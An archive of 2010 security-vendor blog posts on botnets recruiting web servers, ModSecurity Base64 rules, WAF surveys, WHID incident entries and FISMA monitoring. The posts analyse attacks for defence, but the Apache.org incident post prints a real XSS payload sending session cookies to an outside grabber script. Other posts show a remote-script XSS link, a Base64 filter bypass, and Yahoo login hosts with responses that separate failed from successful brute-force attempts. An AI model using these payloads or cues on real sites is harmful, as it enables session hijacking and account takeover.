Botnet Herders Targeting Web Servers

Submitted by Ryan Barnett 5/14/2010


Numerous media outlets have reported on a "new" DDoS botnet that is targeting web servers as zombie participants vs. standard user computers. The motivation for targeting web servers includes:
  1. Web servers are always online where as home computer systems are often shutdown when not in use. This means that the number of botnet systems in control at any one time is variable. This factors into the botnet owner's service offerings as they are often selling their botnet services and having a reliable, strong botnet is key.
  2. Web servers have more network bandwidth than home computer users. This essentially is a Quality of Service metric where commercial web servers are guaranteed specific amounts of network bandwidth usage whereas home computer users typically have much less bandwidth. Additionally, home user network traffic is oftentimes throttled which would make their DDoS attack traffic less.
  3. Web servers have more horse power then home computers. The number of CPUs, RAM, etc... means that commercial servers can generate much more network DDoS traffic then home computer systems.
  4. Web servers are less likely to be blacklisted by ISP vs. home computer systems. This means that web server botnet zombies will be online, sending traffic much longer than home computers.
Essentially, web server botnet participants are like "Super Soldiers" compared to normal grunts in the botnet army.

While the information presented by the media is interesting data, it is by no means a new tactic.


How do I know this? Because we (Breach Security) reported on this exact same concept 2 years ago in our WASC Web Hacking Incident Database Annual Report Presentation Slides.
What we showed was that botnet operators have been using PHP Remote File Inclusion (RFI) attacks to try and exploit web servers in order to download DDoS client code. This will force these systems into participating in DDoS attacks. RFI attacks are still a big problem and a surprising number of sites are still vulnerable even though newer versions of PHP have a more secure default configuration that prevents this exploit from working. As it happens with other types of software, organizations are just not able to upgrade their software in a timely manner to the newest versions that fix the flaws.

It is a shame that the new OWASP Top 10 Most Critical Web Application Security Risks release has removed the old A3: Malicious File Execution category as RFIs were included in it. The stated rationale for removing this is -
REMOVED: A3 – Malicious File Execution. This is still a significant problem in many different environments. However, its prevalence in 2007 was inflated by large numbers of PHP applications having this problem. PHP now ships with a more secure configuration by default, lowering the prevalence of this problem.
While I don't disagree with some of this rationale, the fact is that there are still many, many sites that are vulnerable to RFI attacks and recruiting the compromised web site into a Botnet Army is just one of the possible bad outcomes...

Impedance Mismatch and Base64

There was a recent blog article stating that ModSecurity can be bypassed by adding invalid characters to Base64 encoded data. Well, this is somewhat correct, but I am not sure I'd call it a bypass. It is really "Impedance Mismatch" as it depends on the decoder you are using in your app. PHP's decoder is ignoring characters (RFC-2045) and ModSecurity is doing what Apache does for HTTP Basic Auth and not allowing the extra characters (RFC-4648)

The article's example is roughly this:

1) Take an attack string: <script>alert(1)</script>
2) Base64 encode it to: PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
3) Now add an illegal character: P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
4) Notice that most decoders will not work, but PHP's will (act surprised)

PHP will apparently just skip the invalid characters (RFC-2045) and so something like this (article's example, not mine) will of course fail:

SecRule ARGS:b64 "alert" "t:base64decode,log,deny,status:501"

The Base64 decoder in ModSecurity is based off the RFC-4648 implementation of Base64. There are many other variants. Well, as it turns out it is important to know a bit more about your platform on which your app is based and the above trivial rule is just not going to cut it.

For PHP and possibly others you will need to go a little further and validate the character set first using a positive rule. Something like this is going to be required for the article's example:

SecRule ARGS:b64 "!^[A-Za-z0-9\+/]*={0,2}$" \
  "phase:2,t:none,log,deny,status:403,msg:'Invalid Base64 Encoding'"
SecRule ARGS:b64 "alert" \
  "phase:2,t:none,t:base64decode,log,deny,status:403,msg:'Badness in b64'"

And now you get some better coverage:

# For PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
ModSecurity: Access denied with code 403 (phase 2). Pattern match "alert" 
at ARGS:b64. [file "test.conf"] [line "3"] [msg "Badness in b64"] 
[hostname "myhost"] [uri "/foo"] [unique_id "S8-4-X8AAQEAACGOJcoAAAAA"]

# For P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
ModSecurity: Access denied with code 403 (phase 2). Match of 
"rx ^[A-Za-z0-9\\\\+/]*={0,2}$" against "ARGS:b64" required. 
[file "test.conf"] [line "1"] [msg "Invalid Base64 Encoding"] 
[hostname "myhost"] [uri "/foo"] [unique_id "S8-5BX8AAQEAACJSKBYAAA@i"]

Though I am picking on PHP a bit here, this may be true in many other areas if you have decoders/parsers that accept out-of-the-norm data. You really do have to know your apps to write targeted rules like the example in this article. You cannot detect encodings like Base64 generically and I would not expect to find such a rule as this in a generic rule set such as ModSecurity's CRS.

Edited: Added details on which RFCs I was referring to and removed blame on PHP after further investigation as it really is just an issue with multiple variants of base64.

Apache.org Compromised Through XSS

Submitted By Ryan Barnett 04/14/2010


One of the latest entries into the WASC Web Hacking Incident Database (WHID), deserves highlighting.
Entry Title: WHID 2010-67: Apache.org hit by targeted XSS attack, passwords compromised
WHID ID: 2010-67
Date Occured: April 9, 2010
Attack Method: Cross Site Scripting (XSS), Brute Force
Application Weakness: Improper Output Handling
Outcome: Session Hijacking
Incident Description: On April 5th, the attackers via a compromised Slicehost server opened a new issue, INFRA-2591. This issue contained the following text:
ive got this error while browsing some projects in jira http://tinyurl.com/XXXXXXXXX [obscured]
Tinyurl is a URL redirection and shortening tool. This specific URL redirected back to the Apache instance of JIRA, at a special URL containing a cross site scripting (XSS) attack. The attack was crafted to steal the session cookie from the user logged-in to JIRA. When this issue was opened against the Infrastructure team, several of our administators clicked on the link. This compromised their sessions, including their JIRA administrator rights.
Attack Source Geography:
Attacked Entity Field: Technology
Attacked Entity Geography: USA
The end URL destination that the attackers send the Apache admins to was this (with some data obscured) -
https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=name;}catch(e){}%0D%0A--></script><noscript><meta%20http-equiv="refresh"%20content="0;url=http://pastie.org/904699"></noscript>
<script>document.write('<img%20src="http://teap.zzl.org/teap.php?data='%2bdocument.cookie%2b'"/>');window.location="http://pastie.org/904699";
</script><script><!--&defaultColor=';try{//
As you can see, the attack is using some html/javascript tricks to force the user's browser to send the "document.cookie" DOM object data off site to the attacker's cookie grabber app (teap.php). The attack payload is using an easy browser trick by placing the javascript data inside of an html IMG tag which makes it possible to bypass the DOM restrictions about different domains access cookie data from other domains.

Here is how the XSS payloads looks if echoed back from JIRA -
<script language="JavaScript" type="text/javascript">
<!--
var defaultColor = '';try{//';
var choice = false;
var openerForm = opener.document.jiraform;
var openerEl = opener.document.jiraform.name;}catch(e){}
--></script><noscript><meta equiv="refresh" content="0;url=http://pastie.org/904699"></noscript><script>document.write('<img src="http://teap.zzl.org/teap.php?data='+document.cookie+'" />');window.location="http://pastie.org/904699";</script><script><!--;
function colorIn(color) {
if (!choice) {
openerEl.value = color;
document.f.colorVal.value = color;
}
}
This attack also highlights the fact that URL Shortener applications (such as tinyurl in this case) can be abused by attackers to hide the destination URL payloads. There was some recent research done by ZScaler entitled "Are URL Shorteners Really Dangerous" however it only focused on malware attacks through URL Shorteners and not XSS attack payloads. As you can see, URL Shorteners are still dangerous as they can dupe and end user into clicking on it as there is no way to tell if the end URL is dangerous or not until you actually click on it. This scenario is another great reason why a browser plugin such as NoScript is so important. As a test, I clicked on the same tinyurl link in Firefox with NoScript and got a warning message and this data was logged in the console -
[NoScript XSS] Sanitized suspicious request. Original URL [https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=name;}catch(e){}%0D%0A--%3E%3C/script%3E%3Cnoscript%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://pastie.org/904699%22%3E%3C/nos
cript%3E%3Cscript%3Edocument.write(%27%3Cimg%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie%2b%27%22/%3E%27);window.location=%22http://pastie.org/904
699%22;%3C/script%3E%3Cscript%3E%3C!--&defaultColor=%27;try{//] requested from [chrome://browser/content/browser.xul]. Sanitized URL: [https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=NAME%3B%7Dcatch%20e%20%7B%7D%20-%3E%20%2Fscript%3E%20noscript%3E%20meta%20http-equiv=%20refresh%20content=%200%3Burl=http://pastie.org/904699%22%3E%3C/noscri
pt%3E%3Cscript%3Edocument.write(%27%3Cimg%20src=%20http%3A%2F%2Fteap.zzl.org%2Fteap.php%3F
data=%20%2BDOCUMENT.COOKIE%2B%20%20%2F%3E%20%20%3Bwindow.LOCATION=%20http%3A%2F%2Fp
astie.org%2F904699%20%3B%20%2Fscript%3E%20script%3E%20!-&defaultColor=%20%3Btry%7B%2F%2F#376924726542634355].
Thank You NoScript!

Update - I also tested Google Chrome's XSS prevention (comparing inbound payloads with outbound response body data) and it seemed to work as it did not execute the XSS code and the Developer tools console showed this message -

Refused to execute a JavaScript script. Source code of script found within request.

German Government Pays Hacker For Stolen Bank Account Data

By Ryan Barnett 04/08/2010


The latest entry to the WASC Web Hacking Incident Database (WHID) is pretty interesting (below). The attack method is currently unknown (most likely candidate is SQL Injection due to bulk extraction of account holder data) however this story is a really good discussion topic and is why it is being included in WHID at this time.


The short of it is that someone hacked into some banks in Germany and Switzerland and stole account data about customers. Many of the banks are used as havens for people to hide their money for tax evasion purposes. The banks identified that this happened and did not notify their customers that their data was stolen. Well, the attacker decided to sell the stolen account data to the German government who then used the data to track down the account holders who were hiding money. The German government is now seeking back taxes and penalties against the account holders. The final piece of the story that is interesting is that one account holder ended up suing (and won by the way) the Bank for not notifying him about the stolen data with the rationale being that if he had known then he could have come forward to the German government and avoided additional penalties during the grace period.


All I can say is WOW. All four players in this story (the account holder, the bank, the attacker and the German government) *all* have dirty hands... It will be interesting to see what plays out in the future and if other Governments adopt a similar philosophy of paying for stolen data.


Entry Title: WHID 2010-64: Taxman rakes in hundreds of millions thanks to stolen bank data

WHID ID: 2010-64

Date Occurred: April 7, 2010

Attack Method: Unknown

Outcome: Monetary Loss

Incident Description: A fascinating story about how the German government has decided to buy stolen bank data in order to go after German citizens who have not paid taxes on their hidden accounts.

An interesting twist in another case involving LGT Treuhand, a Bad Homburg business man won millions in damages in a suit against the bank for failing to reveal that his information was stolen along with hundreds of other account holders and sold to German authorities for a criminal investigation. He argued that if the bank had informed those on the list that their data had been sold, they could have turned themselves in, receiving temporary amnesty and much lower fines.

Attack Source Geography:

Attacked Entity Field: Finance

Attacked Entity Geography: Germany

Reference: http://www.thelocal.de/article.php?ID=26381


Update - Apparently, the attacker in this case was a former employee and stole the account data by burning them to CDs.

WAF Confusion Continues

By Ryan Barnett 04/07/2010

Frost&Sullivan recently held an Analyst briefing entitled "Analyst Briefing: Web Application Firewall: A Critical Defense For an Information Centric World" in which they provided an overview of the WAF market in the Asia Pacific region. Slides 5 and 6 of the presentation showed that there are still misconceptions about WAFs where organizations don't fully understand what they are and when they need them. There were two questions asked in the survey about WAF understanding.

The first question was "What is the first function that comes to mind when I mention the term "Web Application Firewall?" The top 6 responses are shown in the graphic on the right. As you can see, the two most telling responses were that 19.3% of respondents thought about Network Security. I attribute this response to two main factors:
  1. A lack of understanding of the threat. Many organization don't understand that professional criminals' #1 targets are web applications.
  2. An unfortunate side-effect of the name WAF. Having the term "firewall" in the name understandably leads people to think of network security devices.
The other interesting response was that 13% thought about IDS/IPS. This also leads to two thoughts:
  1. Many people are using a WAF as only an HTTP-Aware IDS/IPS and utilizing only a negative security model.
  2. Some of these respondents may not know that a WAF has other protection mechanisms beyond typical IDS/IPS capabilities. Items such as positive security, automated learning and session based protections are what really differentiates WAFs from other security devices.
The second question in the survey was "Agreement Towards Statements Concerning Web Application Firewalls." They asked 6 questions and the responses to two of them again shows a lack of understanding of when/how WAFs can help.

Having a powerful network firewall is sufficient to make up for a lack of a WAF
55% of respondents agreed with this statement. I believe that this viewpoint is somewhat related to the previous responses about a WAF being an HTTP-Aware IDS/IPS. Network Firewall vendors are promoting the concept of Deep Packet Inspection capabilities which allows them to view application layer data however there are some real-world limitations that often crop up with regards to web traffic.
  • Access to SSL traffic - in order to decrypt the SSL streams to view the HTTP payloads, any security device must be able to import the SSL cert and private key of the destination app server. Many network firewalls do not have the capability so the web-based protection is only for clear-text port 80 traffic.
  • Only negative security/signatures - the protections are based only on known/public vulnerabilities and use signatures.
  • Performance impact - network firewalls have to service many other protocols and the performance overhead of Deep Packet Inspection usually adds too much latency for real-world use.
WAF is only required if a company wants to be PCI-DSS compliant
48.3% of respondents agreed with this comment which to me implies two things:
  1. Organizations don't understand the true value of WAFs which extend beyond the "Signature-Based, HTTP-Aware IDS/IPS". This narrow use case excludes capabilities such as Application Defect Identification and Performance Events (such as identifying Application Layer DoS).
  2. This view echoes the comments made by Ofer Shezaf in his "The Curse of PCI for WAFs" blog post. It seems like a bit of a Catch-22 with PCI and WAFs in that on the one hand, PCI has raised the awareness of WAFs in general, however on the other hand now people are starting to associate WAFs as a need only if you have comply with PCI.
The end result of this survey shows that there is still much WAF awareness and education that needs to be done in the marketplace. Hopefully my blog posts are helping in this regard.

Secure Coding Practices Survey Results

Submitted by Ryan Barnett 04/06/2010


The results of an interesting survey was recently released by Errata Security entitled Integrating Security Into the Software Development Lifecycle. The survey was gathered during the recent RSA and Security B-Sides conferences in San Francisco and focused on attendees who worked at software companies. There were a number of interesting perspectives on the levels of success, or lack there or, of attempting to implement a software development life cycle (SDLC) into an organization. Here is the most telling takeway from a DarkReading story on the survey results:

Microsoft's SDL was the most popular tool for secure software development methods, with Microsoft SDL Agile at number two, with 35 percent of the respondents using Agile SDL, most of which were small development firms and several large companies in the survey. "The survey showed a big win for Microsoft's awareness program, but what I hope that Microsoft will learn from this is that small- to medium-sized software companies have different needs than the big guys. SDL-Agile is a good start, but now they need to re-evaluate the resource requirements with small company in mind," says Marisa Fagan, security project manager at Errata Security.



Fagan says among those companies not deploying a secure coding program, the main reason was a lack of resources. "No matter what the size of the company, participants said it was too time consuming, too expensive, and too draining on their resources," she says. "Another reason was that management had deemed it unnecessary...The survey showed that developers look to management to set the security agenda, and are generally not self-starters when it comes to including security in their code."
This is a key finding that organizations are facing, especially small to medium sized ones. Here is a comment from a survey participant that echoes this same sentiment:
Planning to move security further "left" in the cycle. Unfortunately, my executive management is more concerned with getting a product out the door than getting a secure product out the door. Until that changes, I don't know how successful I can be...
I have seen this issue first hand. If upper-management does not fully comprehend the impact of poor software security, then throwing process and technology at the problem won't help. C-level executives need guidelines so that they can make informed decisions about the possible consequences of producing insecure code. Last Wednesday an interesting report was released called "The Financial Management of Cyber Risk: An Implementation Framework for CFOs" and it is highly recommended that management reads it. Please pass this along.

Weekly Round-Up of Web Hacking Incident Database (WHID) Events (March 29th - April 5th)

Submitted by Ryan Barnett 04/05/2010

The Web Hacking Incidents Database, or WHID for short, is a Web Application Security Consortium project dedicated to maintaining a list of web applications related security incidents. WHID goal is to serve as a tool for raising awareness of the web application security problem and provide information for statistical analysis of web applications security incidents.

The following incidents where added to WHID last week:

WHID 2010-46: Microsoft's Larry "Major Nelson" Hryb has online account hijacked through Xbox.com as part of underground group's publicity bid.

WHID 2010-47: Court papers: JC Penney was hacking victim

WHID 2010-48: Hackers brute force their way into galeton.com website containing names, credit card numbers

WHID 2010-49: Hackers pluck 8,300 customer logins from bank server

WHID 2010-50: Shared-password vulnerability may have exposed personal information in online account management system

WHID 2010-51: Woman worms into D.C. taxpayer accounts

WHID 2010-52: 3000 Small Dog Electronics customers' credit card details compromised

WHID 2010-53: Google says Vietnam political blogs hacked

WHID 2010-54: MyPilotStore.com hack results in false charges on customers’ cards

WHID 2010-55: Drudge Report accused of serving malware, again

WHID 2010-56: Facebook Flub Leaks Private E-Mail Addresses

WHID 2010-57: Web security under attack from ads in prominent advertising programs

WHID 2010-58: China journalist club shuts website after attack

DEAR corporate executive – Drop Everything And Read

By Sanjay Mehta
Posted 4/1/2010

I highly recommend reading a report published yesterday titled The Financial Management of Cyber Risk.   This 76 page document is the result of industry and government cooperation and provides a practical and comprehensive guide for management of cyber risk.  This document covers the following topics: the cost of a data breach, creating an organizational culture of security, recommended processes, incident response planning and much more.  This framework should be required reading for corporate executives…not just CISOs and security executives.  Download….and please let me know what you think.


Content Spoofing - Not Just An April Fool's Day Attack


Submitted by Ryan Barnett 04/01/2010


Happy April Fool's Day Everyone! April 1st is traditionally a day for pranks and there is no doubt in my mind that we will all be flooded with all sorts of Content Spoofing types of fake news stories such as the one in the graphic on the right from the CBS News website whose headline read:
George Bush appoints a 9 year old to be the chairperson of the Information Security Department.
How are these attacks carried out? More often than not, attackers leverage reflective Cross-site Scripting vulnerabilities within news outlet's web applications so that if victims click on web links the spoofed data will appear. Here is what the XSS link looked like:
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--%3E%3Cscript%20src=http://www.securitylab. ru/test/sc.js%3E%3C/script%3E%3C!--
When the user sent this request to the website, the javascript payload executed within the victim's browser and requested the sc.js file on the remote, hacker-owned website. The contents of the sc.js file were:
document.write('&ltp align=left&gtMon, 28 August 2006');
document.write('&ltp align=center>&ltb&gtGeorge Bush appoints a 9year old to be the chairperson… ');
document.write('&ltp>On Friday night, George Bush made... ');
document.write('&ltp>Michael Antipov was noticed by the FBI... ');
document.write('&ltp>Michael Antipov, sun of the top-secret... ');
document.write('&ltp>From now on the citizens of the USA can... ');
Cross-site Scripting vulnerabilities are found in just about every web application so the CBS News site example here is not unique. The XSSed website shows a number of news outlet sites vulnerable to this type of attack:
www.internetnews.com XSS vulnerability notified by nickhacks
search.news.cn XSS vulnerability notified by nicobar
www.newsmill.se XSS vulnerability notified by Uber0n
news.uchicago.edu XSS vulnerability notified by nopic01
www.pdenewsroom.state.pa.us XSS vulnerability notified by Mystick
novinnews.com XSS vulnerability notified by Pouya_Server
www.newscast.co.uk XSS vulnerability notified by Viper.aT
www.healthcareitnews.com XSS vulnerability notified by skathgh420
blognetnews.com XSS vulnerability notified by GTADarkDude
search.cyclingnews.com XSS vulnerability notified by Rohit Bansal
news.president.am XSS vulnerability notified by By_Cyber
www.recentnews.co.uk XSS vulnerability notified by austinator
media.49abcnews.com XSS vulnerability notified by xylitol
news.carnoc.com XSS vulnerability notified by xylitol
news.onekoreanews.net XSS vulnerability notified by Woo
newshub.tucows.com XSS vulnerability notified by DaiMon
www.newsvoyager.com XSS vulnerability notified by TheBig
www.hypernews.org XSS vulnerability notified by Mystick
newsroom.pse.com XSS vulnerability notified by LostBrilliance
news.mediamarkt.de XSS vulnerability notified by zrok
Keep in mind that XSS vulnerabilities can be leveraged in many different types of attack outcomes. In this case, we are talking about Content Spoofing of news stories however an attacker may also use the same attack vectors to try and install malware onto victim's computers.

Besides XSS vulnerabilities, Content Spoofing attacks can be carried out due to unauthorized access to web-based management interfaces. For example, there have been news stories of improperly configured proxy servers that allowed external clients to gain access to the the internal network. This in turn allowed them access to web-based news submittal applications. This is exactly what happened where hacker Adrian Lamo posted fake news stories on Yahoo's website.

To Disclose or Not to Disclose…it really shouldn’t be a question

By Sanjay Mehta
Posted 3/31/2010

According to a recent article in Dark Reading entitled Organizations Rarely Report Breaches to Law Enforcement, we still have a long way to go in the battle to secure our networks.  The facts are simple, malicious users work collaboratively on their exploit tactics while the majority of corporations/vendors work alone on maintaining individual network security.  There is a sophisticated underground community of hackers that share vulnerability information, attack vectors and patterns, login credentials, and the like.  This community of for-profit hackers is well aligned to wreak havoc, sometimes widespread and other times very well targeted.  Their two biggest advantages come down to a single word….sharing.  Hackers are constantly sharing, while those trying to stop hackers aren’t sharing enough in terms of frequency and substance.

Despite the good efforts of law enforcement (local, state, Fed) and regulations (industry and governmental), as a society we still have a general unwillingness to disclose (in)security information.  Data breaches result in form letters and free credit monitoring.  Organizations keep their security partners/vendors in virtual stovepipes even though an integrated defense-in-depth approach is a well accepted best practice.  Capitalism prevents organizations from sharing “secrets” (aka attack data, detection/prevention techniques) that might just benefit the common good.  Everybody seems to be fighting their own little battle on an individual front while the bad guys continue to win the war.

Breach is actively working with industry leaders, application security experts, the open source community, and our partners to share vulnerability and protection information and techniques.  Breach Security Labs is conducting leading edge research on web hacking and sharing that information in our semi-annual reports and more frequent blogging and tweeting.  We invite you to join us and encourage you to establish your own sharing forums.  It’s time for the good guys to start collaborating.


Hijacking Yahoo Email Accounts Update

Submitted by Ryan Barnett 03/31/2010


There have been recent news reports of journalists' Yahoo email accounts being hacked. Andrew Jacobs of the New York Times reports:

In what appears to be a coordinated assault, the e-mail accounts of more than a dozen rights activists, academics and journalists who cover China have been compromised by unknown intruders. A Chinese human rights organization also said that hackers disabled its Web site for a fifth straight day.

The infiltrations, which involved Yahoo e-mail accounts, appeared to be aimed at people who write about China and Taiwan, rendering their accounts inaccessible, according to those who were affected. In the case of this reporter, hackers altered e-mail settings so that all correspondence was surreptitiously forwarded to another e-mail address.

So, how were these Yahoo email account broken into? The news article provides a possible scenario:

Paul Wood, a senior analyst at the Symantec Corporation, said a growing number of malignant viruses were tailored to specific recipients, with the goal of tricking them into opening attachments that would insert malware onto their computers. Mr. Wood said his company, which designs anti-virus software, now blocks about 60 such attacks each day, up from 1 or 2 a week in 2005. “They’re very well crafted and extremely damaging,” he said.

Targeted malware may very well have been the attack vector here, however I can't help but to also think about the Distributed Brute Force Attacks that we are seeing against Yahoo accounts through the WASC Distributed Open Proxy Honeypot Project. Brute forcing login credentials is still quite an effective means of hijacking accounts. As I outlined in the other blog post, attacker's have found that they can target a web services URL to conduct their attacks without any restrictions such a CAPTCHAs.

Well, in addition to the web service authentication URLs, we are now also the attackers targeting mobile (WAP) authentication services. Here are some of the different mobile Yahoo subdomains being targeted:

in.wap.yahoo.com

mlogin2.mobile.re4.yahoo.com

mobile1.login.vip.sp2.yahoo.com

my.rf.wap.yahoo.com

ph.wap.yahoo.com

sushi2.mobile.ch1.yahoo.com

webgw1.mobile.re3.yahoo.com

webgw3.mobile.re3.yahoo.com

When a client sends credentials and it is a failed auth attempt, it looks like this:

HTTP/1.1 302 Found

Date: Wed, 31 Mar 2010 14:49:03 GMT

P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: private, no-store, no-cache, must-revalidate

Set-Cookie: B=emj89nt5r6o6v&b=3&s=lo; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com

Location: /p/login?.done=/p/&.pc=5135&.error=7&ignore=signin&ySiD=32CzS0e2khOZCLqXwuFj

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=utf-8

Notice that the Location header sends the user back to a login URL with parameters indicating that there was an error. In contrast, when a successful auth happens, the user is redirected to a different URL:

HTTP/1.1 302 Found

Date: Wed, 31 Mar 2010 14:48:46 GMT

P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: private, no-store, no-cache, must-revalidate

Set-Cookie: B=derbda55r6o6e&b=3&s=ml; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com

Location: /p/?.data=LnlpZCUzZFU4ZjZDNWZRZ25vb2VkX19lZy0tJTI2Lnl0cyUzZDIw

MTAwMzMxMTQ0ODQ3JTI2LnlndCUzZEhlbGxvIEh1Z2glMjYueWludGwlM2R1cy

UyNi55Y28lM2R1cyUyNi55ZW0lM2RkYXZpc19odWdoQHlhaG9vLmNvbSUyNi55eW0lM2RkYXZpc19odWdoQHlhaG9vLmNvbSUyNi55bm0lM2RIdWdoIERhdmlzJTI

2LnloaWQlM2RkYXZpc19odWdoJTI2LnlyZWclM2QxMDY1NzA0NDc4&.ys=XkVVQ

zpv_oOsltCTiJwm3.c9zrQ-&ySiD=zmCzS9GqZrL1pVcmUygz

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=utf-8



It is interesting to note that the hacker underground is keeping track of all of these different authentication servers and the various authentication mechanisms in use. Just do a google search for "Yahoo Servers for cracking" which will give you a huge list of users forums where hackers are listing both Yahoo authentication hosts and automated tools for brute forcing (such as the image on the right).

The lessons learned from this data is that there are many ways in which attackers may be able to hijack user's email accounts. For organizations attempting to defend against these types of attacks, it is critical that all authentication mechanisms are identified and proper access control is implemented (specifically if end users are allow to directly interact with it or if is supposed to be used only by other authorized partners).




WASC Web Hacking Incident Database Project Update

Submitted by Ryan Barnett 03/30/2010


I wanted to share some exciting news with everyone. I have taken over as the Project Leader for the WASC Web Hacking Incident Database (WHID) Project. First of all I wanted to thank Ofer Shezaf for starting WHID and for all of the great work he has done with it. It is a tremendous resource for real-world web application security awareness as it helps to prioritize attacks/vulnerabilities that are currently being used by cyber-criminals to compromise sites. I am excited to keep it going and to hopefully increase its value to the community.

Changes to WHID
  1. The WHID data has been uploaded to a new DabbleDB account which will help to allow for multiple WHID authors. If you would like to participate in this capacity, please let me know and I will get you setup.
  2. The project page has been updated to embed the DabbleDB data, with search filters, into the existing WHID Project page. This makes searching and filtering much easier. You can also access it directly here.
  3. We also added an Incident Entry Submittal Form directly on the page so it will be easier for the community to send in links to web hack stories. This will then place the link in a queue and email me for a follow-up.
  4. Lastly, we also added a new RSS feed and Twitter account so you can keep track of WHID entries as they happen.
If you have any comments about WHID or recommendations for making it more useful, please let me know.

Continuous Monitoring Highlighted in Recommended FISMA Changes

Submitted by Ryan Barnett 03/29/2010


The SANS Institute's weekly NewsBites newsletter covered an important story last week with regards to proposed changes to the Federal Information Security Management Act (FISMA) which was presented at a House subcommittee meeting on March 24. The most important change is a shift towards are more agile, real-time monitoring capability. Alan Paller, Director of Research at the SANS Institute, stated the following in his testimony:
One of the most important goals of any federal cyber security legislation must be to enable the defenders to act as quickly to protect their systems as the attackers can act. We call this continuous monitoring and it is single handedly the most important element you will write into the new law. Continuous monitoring enables government agencies to respond quickly and effectively to common and new attack vectors. The Department of State has demonstrated the effectiveness of this security innovation. Most major corporations use it. This model is the future of federal cybersecurity. As our response to attacks becomes faster and more automated, we will take the first steps toward turning the tide in cyberspace, and protecting our sensitive information.



Continuous Monitoring capabilities, not only for government but also the commercial sector, is absolutely critical for identifying attempted and actual compromises and conducting proper incident response. Proper real-time network security monitoring is woefully lacking and this claim is supported by the Verizon 2009 Data Breach Investigations report which found that "Breaches still go undiscovered and uncontained for weeks or months in 75 percent of cases." This is mainly due to a lack or proper real-time continuous monitoring of network traffic.

Breach Security has seen these issues first hand with our government customers who want to protect their web applications. They are lacking lacking real-time visibility into their web data streams and are unaware of who is attacking them, how they are doing it and if and when they are successful. Web application firewalls give them them the visibility they need and the situational awareness required to identify and respond to real-time attacks.

Mr. Paller also recommends the use of the Consensus Audit Guidelines (CAG) as created by the Center for Strategic and International Studies (members of the Consortium include NSA, US Cert, DoD JTF-GNO, the Department of Energy Nuclear Laboratories, Department of State, DoD Cyber Crime Center plus the top commercial forensics experts and pen testers that serve the banking and critical infrastructure communities). Mr. Paller stated in his testimony:
Both the guidance for implementing FISMA and the guidance for auditing compliance are focusing on out of date, ineffective defenses. What we need instead is a process that directs agencies to focus their cyber security resources on monitoring their information systems and networks in real time so that they can prevent, detect and/or mitigate damage from attacks as they occur. And oversight must be focused on the effectiveness of the agencies’ real‐time defenses.
The CAG list is much more update-to-date not only with current attack methodologies of advanced persistent threats (APT) but also includes critical audit components such as what metrics should be captured and how to test the effectiveness of the controls. One example taken from the CAG is Control 7: Application Software Security which lists specific, operational controls for web applications such as:

How can this control be implemented, automated, and its effectiveness measured?

  1. QW: Organizations should protect web applications by deploying web application firewalls that inspect all traffic flowing to the web application for common web application attacks, including but not limited to Cross-Site Scripting, SQL injection, command injection, and directory traversal attacks. For applications that are not web based, deploy specific application firewalls if such tools are available for the given application type.



Again, web application firewalls can be used as a tactical remediation tool to help organizations reduce their time-to-fix metric of fixing identified vulnerabilities by acting as a virtual patch (or compensating control as specified in control 7 of the CAG). The graphic on the right is taken from Whitehat Security's Statistics Report and it tracks the average time to fix a class of vulnerability measured in days. As you can see, most of these issues aren't resolved for months. The CAG, on the other hand, recommends the following remediation times:
Additionally, all high-risk vulnerabilities in Internet-accessible web applications identified by web application vulnerability scanners, static analysis tools, and automated database configuration review tools must be mitigated (by either fixing the flaw or through implementing a compensating control) within fifteen days of discovery of the flaw.
WAFs can help to close the gap of remediation time between what is recommended by CAG and the time that it normally takes an organization to implement source code level changes in production. This type of continuous monitoring and agile response capabilities are a key component of defense and it is good news that the government is looking to ensure FISMA includes them.

Ready To Get Rugged?

By Sanjay Mehta
3/23/2010

Have you heard about Rugged Software?  Do you believe?  Are you embracing it personally and within your organization?  To take a web application specific view on this, here is the problem:

  • Code is complex, web applications are dynamic.
  • Hackers are more sophisticated, more collaborative, and more driven by cold hard cash.
  • Performance and availability trump security in the eyes of most application owners and developers.  You can’t win when playing with a losing hand.
  • Web application security experts are scarce in both application development and security teams. 
  • Finding vulnerabilities is interesting, blocking attacks is more interesting, real and lasting remediation is most interesting.  Easier said then done of course when you have millions of lines of code and you don’t own or have code-level access to many mission critical applications.
  • The list of challenges goes on….and on….

To secure our application infrastructure, we need to change how we think.  We need to build a culture of security inside organizations.  We need to collaborate at least as well, ideally better, as our adversaries do.  We need to focus on long-term solutions, not band-aids to discovered vulnerabilities.  We need to think in terms of overall risk management; not just security, not just compliance…but risk.

The spirit of Rugged Software is not new to Breach.  In fact, over the last few years we have participated in hundreds of conversations with customers, partners, and industry leaders about the need for a paradigm shift.  We need to break away from the reactive world of detection and prevention.  We need to embrace a world around holistic risk management where security is a deeply ingrained part of the corporate culture from design and development through production.  We need mission critical web applications to be Rugged in terms of security, application health, compliance, performance and the list goes on.  We need to hold ourselves and our partners to a higher standard.  I am pleased that the folks behind Rugged have formalized this important initiative.  I encourage you to learn more and to Make It Rugged.


Hackers Targetting Commercial Online Bank Accounts

